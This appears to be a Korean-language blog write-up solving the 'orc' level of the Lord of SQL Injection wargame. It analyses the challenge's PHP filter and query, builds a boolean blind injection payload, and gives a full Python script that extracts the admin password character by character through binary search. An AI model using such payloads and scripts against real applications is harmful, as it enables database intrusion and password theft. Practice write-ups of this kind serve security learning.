Almon Dev

[Lord of SQL Injection] orc 풀이 본문

모의해킹/Lord of SQLi

[Lord of SQL Injection] orc 풀이

Almon 2025. 1. 6. 17:31

LOS 풀이

 

orc

 

 

풀이

1. 코드 분석

이번 문제를 풀기 위해서는 입력한 pw파라미터의 값과 db에서 가져온 pw의 값이 일치해야 합니다.

그렇기 때문에 실제 admin 계정의 비밀번호를 알아내야 하는 것 같습니다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

 

prob _ . ()를 필터링합니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

이번 문제에서는 쿼리를 두 번 하는데 첫 번째 쿼리의 결과가 존재한다면 Hello admin을 출력해 줍니다.

참과 거짓을 알 수 있어서 blind sql injection이 가능할 것 같습니다.

$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello admin</h2>";

 

참과 거짓을 구분하기 위한 쿼리를 만들었습니다.

select id from prob_orc where id='admin' and pw='' or (조건) and '1'='1'

거짓

 

2. 쿼리 삽입

필요한 쿼리를 생성하기 위해 기본 format을 만들겁니다.

저는 ascii 코드를 이용한 이진 탐색과 python을 이용할 생각입니다.

 

substring을 이용해서 pw의 결과를 index 번째 한 글자씩 뽑아내고

ascii를 이용해 ascii 숫자로 변환한 뒤 비교합니다.

그리고 and id = 'admin'을 넣어 id가 admin인 경우의 비밀번호만 불러옵니다.

' or (ascii(substring((pw), index, 1)) > ascii) and id = 'admin
select id from prob_orc 
where id='admin' and pw='' 
or 
(ascii(substring((pw), index, 1)) > ascii) and id = 'admin'

 

공격 format을 완성했으니 python 코드를 만들어줍니다.

자동으로 los 사이트에 로그인을 한 뒤 phpsessid 쿠키를 가져와서 session에 삽입한 뒤

파라미터를 생성하고 쿼리를 계속 삽입해줍니다.

 

Hello admin을 포함하는지 여부로 True False를 파악하고

범위를 줄여나가며 결과를 찾는 로직입니다.

import requests

def sqli_request(session, url, index, ascii):
    params = {
        'pw' : f"' or (ascii(substring((pw), {index}, 1)) > {ascii}) and id = 'admin"
    }
    response = session.get(url, params=params, proxies=proxies)
    # print(params)
    # print(response.text)
    if "Hello admin" in response.text:
        return True
    else:
        return False

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
login_url = "https://los.rubiya.kr/?login"
session = requests.Session()
session_id = requests.post(login_url, {
    'id' : '아이디',
    'pw' : '비밀번호',
}, allow_redirects=False).cookies.get_dict()['PHPSESSID']
# print(session_id)
session.cookies.set('PHPSESSID', session_id)
sql_result = ""

proxies = {
    "http": "http://localhost:8080"
}

index = 1
while True:
    left = 0
    right = 127
    if not sqli_request(session, url,  index, 0):
        sql_result = ""
        print("\n")
        break
    while True:
        mid = (left + right) // 2
        if sqli_request(session, url,  index, mid):
            left = mid + 1
        else:
            right = mid
        
        if left == right:
            index += 1
            sql_result += chr(left)
            print(f"\rData : {sql_result}", end="")
            break